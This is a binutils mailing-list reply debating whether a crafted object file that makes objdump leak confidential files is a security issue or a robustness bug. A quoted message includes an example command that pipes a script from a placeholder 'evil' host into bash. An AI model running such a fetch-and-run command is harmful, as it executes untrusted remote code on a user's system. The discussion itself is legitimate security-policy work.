Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw <Richard.Earnshaw@foss.arm.com>]

On 13/04/2023 14:35, Siddhesh Poyarekar wrote:
> On 2023-04-13 09:11, Richard Earnshaw wrote:
>>> This is why when one does a:
>>>
>>> curl -s http://evil.website/malicious-script.sh | bash
>>>
>>> it is a legitimate security issue, but it's not a vulnerability in 
>>> bash, nor can it be secured in bash.  One must either do this in a 
>>> sandbox to contain its impact in that sandbox, or do a secondary 
>>> analysis (again in a sandbox) to determine that it is safe.
>>
>> Right, but that's not the case I was concerned about.  My scenario is 
>> more like when you run something like
>>
>> objdump foo.o
>>
>> but reading foo.o causes corruption in the tools (eg by a buffer 
>> exploit) and ends up sending a confidential file to a third party.
> 
> It's not fundamentally different from, e.g.
> 
> bash malicious-script.sh
> 
> it just feels different because you elided the transport mechanism. 
> Fundamentally, it is unsafe to do anything with untrusted content 
> without sandboxing, so objdump is no different.  Sure, objdump is an 
> analysis tool, so it should be able to analyze foo.o without crashing, 
> but that's a robustness issue, not a security one.  The security aspect 
> should be handled by a sandbox.

Sorry, I disagree.  Sending files to third parties is completely outside 
of the intended scope of objdump, so if it ends up being able to do so, 
that's a security issue.

R.